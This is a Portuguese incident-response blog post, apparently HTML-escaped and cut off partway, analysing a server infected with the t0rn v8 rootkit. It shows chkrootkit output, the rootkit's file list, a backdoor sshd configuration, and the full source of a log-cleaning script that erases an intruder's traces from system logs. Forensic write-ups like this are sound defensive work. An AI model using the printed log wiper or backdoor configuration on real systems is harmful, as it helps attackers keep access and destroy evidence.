&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for T.R.K... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Mithra... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for LOC rootkit... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Romanian rootkit...  /usr/include/file.h /usr/include/proc.h &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Suckit rootkit... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Volc rootkit... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Gold2 rootkit... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for TC2 Worm default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Anonoying rootkit default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for ZK rootkit default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for ShKit rootkit default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for AjaKit rootkit default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for zaRwT rootkit default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Madalin rootkit default files... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Fu rootkit default files... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for ESRK rootkit default files... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for rootedoor... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for ENYELKM rootkit default files... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for common ssh-scanners default files... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for suspect PHP files... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for anomalies in shell history files... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `asp'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `bindshell'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;Checking `lkm'... You have    97 process hidden for readdir command &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;You have    99 process hidden for ps command &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;chkproc: Warning: Possible LKM Trojan installed &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;chkdirs: nothing detected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `rexedcs'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `sniffer'... eth0: not promisc and no PF_PACKET sockets &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;eth1: PF_PACKET(/usr/sbin/bandwidthd, /usr/sbin/bandwidthd, /usr/sbin/dhcpd, /usr/sbin/bandwidthd, /usr/sbin/bandwidthd, /usr/sbin/ipfm) &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;eth1:0: PF_PACKET(/usr/sbin/bandwidthd, /usr/sbin/bandwidthd, /usr/sbin/dhcpd, /usr/sbin/bandwidthd, /usr/sbin/bandwidthd, /usr/sbin/ipfm) &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;eth1:teste: PF_PACKET(/usr/sbin/bandwidthd, /usr/sbin/bandwidthd, /usr/sbin/dhcpd, /usr/sbin/bandwidthd, /usr/sbin/bandwidthd, /usr/sbin/ipfm) &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;eth1:2: PF_PACKET(/usr/sbin/bandwidthd, /usr/sbin/bandwidthd, /usr/sbin/dhcpd, /usr/sbin/bandwidthd, /usr/sbin/bandwidthd, /usr/sbin/ipfm) &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `w55808'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `wted'... chkwtmp: nothing deleted &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `scalper'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `slapper'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `z2'... chklastlog: nothing deleted &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `chkutmp'...  The tty of the following user process(es) were not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; in /var/run/utmp ! &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;! RUID          PID TTY    CMD &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;! root         5250 tty3   /sbin/getty 38400 tty3 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;! root         5253 tty4   /sbin/getty 38400 tty4 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;! root         5256 tty5   /sbin/getty 38400 tty5 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;! root         5259 tty6   /sbin/getty 38400 tty6 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;chkutmp: nothing deleted &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm;"&gt;Chkrootkit apresentou possível rootkit t0rn v8 \(or variation\) instalado.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;* E agora José ?&lt;/p&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;A primeira ação a ser tomada foi  tirar o servidor da internet …&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;* A análise&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm;"&gt;Procurando por informações sobre a t0rn v8  … a  rootkit instala possíveis arquivos no servidor:&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/lib/libsh.so/shrs &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/lib/libsh.so/shhk &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/lib/libsh.so/shhk.pub &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/sbin/ttymon &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/sbin/ttyload &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/sbin/ifconfig &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/lib/libsh/.sniff/shp &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/lib/libsh/.sniff/shsniff &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/lib/libsh/.bashrc &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/lib/libsh/shsb &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/lib/libsh/hide &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/sbin/lsof &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/bin/pstree &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/bin/find &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/bin/top &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/bin/dir &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/bin/slocate &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/usr/bin/md5sum &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/bin/ps &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/bin/ls &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/bin/netstat &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 153, 0);"&gt;/var/tmp/httpd &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt; Como o servidor teve comprometimento de muitos binários essenciais para uma análise. Os dados do servidor comprometido foram analisados em outro servidor.  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;Com o disco montado em outro servidor, procurando pelos possessíveis arquivos que a rootkit poderia ter instalado, foram encontrados os seguintes artefatos:&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# ls /mnt/homer/lib/libsh.so &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;bash  shdcf  shhk  shhk.pub  shrs&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# cd /mnt/homer/lib/libsh.so&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file bash  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 51, 0);"&gt;bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.4.1, stripped&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file shdcf  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;shdcf: ASCII text &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# cat shdcf  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Port 6969 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;ListenAddress 0.0.0.0 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;HostKey /lib/libsh.so/shhk &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;RandomSeed /lib/libsh.so/shrs &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;ServerKeyBits 768 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;LoginGraceTime 600 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;KeyRegenerationInterval 3600 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;PermitRootLogin yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;IgnoreRhosts yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;StrictModes yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;QuietMode no &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;X11Forwarding yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;X11DisplayOffset 10 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;FascistLogging no &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;PrintMotd no &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;KeepAlive yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;SyslogFacility DAEMON &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;RhostsAuthentication no &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;RhostsRSAAuthentication yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;RSAAuthentication yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;PasswordAuthentication yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;PermitEmptyPasswords yes &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;UseLogin no &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;CheckMail no &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file shhk &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;shhk: data &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file shhk.pub &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;shhk.pub: ASCII text, with very long lines &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# cat shhk.pub &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;1024 41 104815528740090300232762682062148731692345617648761884893144749702438178716507602106384467348442332555726272229905090060865518152094220166348851874522827117669256069180699567468232805547620203421525417575684002027686936703327559508891840428578000903598085456851354927023314524854708653799840391129004567592229 root@NoraD &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file shrs  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;shrs: data &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;Verificando os arquivos não resta a dúvida que é um servidor ssh  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;Procurando por mais arquivos que a rootkit poderia ter instalado no servidor ….  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# ls /mnt/homer/usr/lib/libsh &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;hide  shsb  utilz&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# cd /mnt/homer/usr/lib/libsh&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file hide  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;hide: Bourne-Again shell script text executable&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# cat hide  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;#!/bin/bash &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "                Linux Hider v2.0 by mave" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "                enhanced by me!         " &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "[+] [Shkupi Logcleaner] Removing $1 from the logs........ ." &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;if [ -f /var/log/maillog ]; then &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   cat /var/log/maillog | grep -v $1 &gt; /tmp/maillog.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   touch -acmr /var/log/maillog /tmp/maillog.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   mv -f /tmp/maillog.xz /var/log/maillog &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "[+] /var/log/maillog   ... [done]" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;fi &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;if [ -f /var/log/messages ]; then &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   cat /var/log/messages | grep -v $1 &gt; /tmp/messages.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   touch -acmr /var/log/messages /tmp/messages.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   mv -f /tmp/messages.xz /var/log/messages &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "[+] /var/log/messages  ... [done]" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   sleep 2 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;fi &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;if [ -f /var/log/secure ]; then &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   cat /var/log/secure | grep -v $1 &gt; /tmp/secure.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   touch -acmr /var/log/secure /tmp/secure.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   mv -f /tmp/secure.xz /var/log/secure &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "[+] /var/log/secure    ... [done]" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;fi &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;if [ -f /var/log/xferlog ]; then &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   cat /var/log/xferlog | grep -v $1 &gt; /tmp/xferlog.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   touch -acmr /var/log/xferlog /tmp/xferlog.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   mv -f /tmp/xferlog.xz /var/log/xferlog &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   sleep 2 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "[+] /var/log/lastlog   ... [done]" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;fi &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;if [ -f /var/log/wtmp ]; then &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   cat /var/log/wtmp |grep -v $1 &gt; /tmp/wtmp.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   touch -acmr /var/log/wtmp /tmp/wtmp.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   mv -f /tmp/wtmp.xz /var/log/wtmp &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "[+] /var/log/wtmp      ... [done]" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;fi &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;rm -f /tmp/*.xz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "            * m i s s i o n  a c c o m p l i s h e d *" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;sleep 2 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "                    p.h.e.e.r  S.H.c.r.e.w" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;sleep 5 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;exit 1 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file shsb  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;shsb: Bourne-Again shell script text executable&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;cat shsb  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;#!/bin/bash &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# sauber - by socked [11.02.99] &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Usage: sauber &lt;string&gt; &lt;/string&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;BLK='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;RED='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;GRN='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;YEL='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;BLU='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;MAG='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;CYN='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;WHI='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;DRED='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: 